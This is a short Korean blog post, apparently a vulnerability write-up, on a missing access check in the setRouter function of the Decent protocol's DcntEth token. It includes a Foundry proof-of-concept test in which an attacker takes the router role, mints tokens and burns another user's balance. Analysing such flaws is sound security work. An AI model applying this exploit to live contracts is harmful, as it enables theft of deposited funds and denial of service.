web3
[1-day] Decent - Access Control
Tyojong
2025. 11. 17. 20:32
코드 분석

mint (발행)함수와 burn (소각)함수를 살펴보면 onlyRouter modifier로 보호되고 있다. 즉, router 주소로 지정된 컨트랙트만 mint, burn 함수를 호출할 수 있다.

setRouter함수는 Router 주소를 변경하는 역할을 한다. 이 Router 주소는 DcntEth 토큰의 mint 함수와 burn 함수에 대한 권한을 결정한다.
하지만 setRouter 함수에 접근제어가 존재하지 않아 아무나 이 함수를 호출해 Router 주소를 마음대로 변경할 수 있고 공격자가 자신의 주소로 Router를 변경하면 mint함수와 burn함수를 공격자가 호출할 수 있게 되고 DcntEth 토큰을 민팅하여 예치된 WETH를 탈취하거나 토큰소각, DoS등이 가능해진다.
익스플로잇
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/DcntEth.sol";
contract ExploitTest is Test {
DcntEth dcntEth;
address attacker = address(0xdead); // 공격자
address innocent = address(0xaaa1); // 일반 사용자
function setUp() public {
dcntEth = new DcntEth(address(0));
dcntEth.setRouter(address(this));
}
function test_exploit_setRouter() public {
// setRouter를 호출하여 공격자의 주소를 router로 설정
vm.prank(attacker);
dcntEth.setRouter(attacker);
// 공격자가 mint함수 실행
vm.prank(attacker);
dcntEth.mint(attacker, 100 ether);
assertEq(dcntEth.balanceOf(attacker), 100 ether);
vm.prank(attacker);
dcntEth.mint(innocent, 1 ether);
// 공격자가 burn 함수 실행
vm.prank(attacker);
dcntEth.burn(innocent, 1 ether);
assertEq(dcntEth.balanceOf(innocent), 0);
}
}
anvil을 사용하여 자금 탈취하는 시나리오로 재현하려 했으나 시간상 pass. 공격자가 mint와 burn함수를 실행 가능한 것만 보여줄 것이다.

setRouter로 공격자의 주소를 router로 설정하지 않았을 때는 공격자가 mint함수를 호출했으나 modifier로 인해 권한이 없어 revert된 것을 확인할 수 있다.

하지만 공격자 주소를 setRouter로 router설정을 한 뒤 mint와 burn함수를 호출하면 정상적으로 실행되는 것을 볼 수 있다.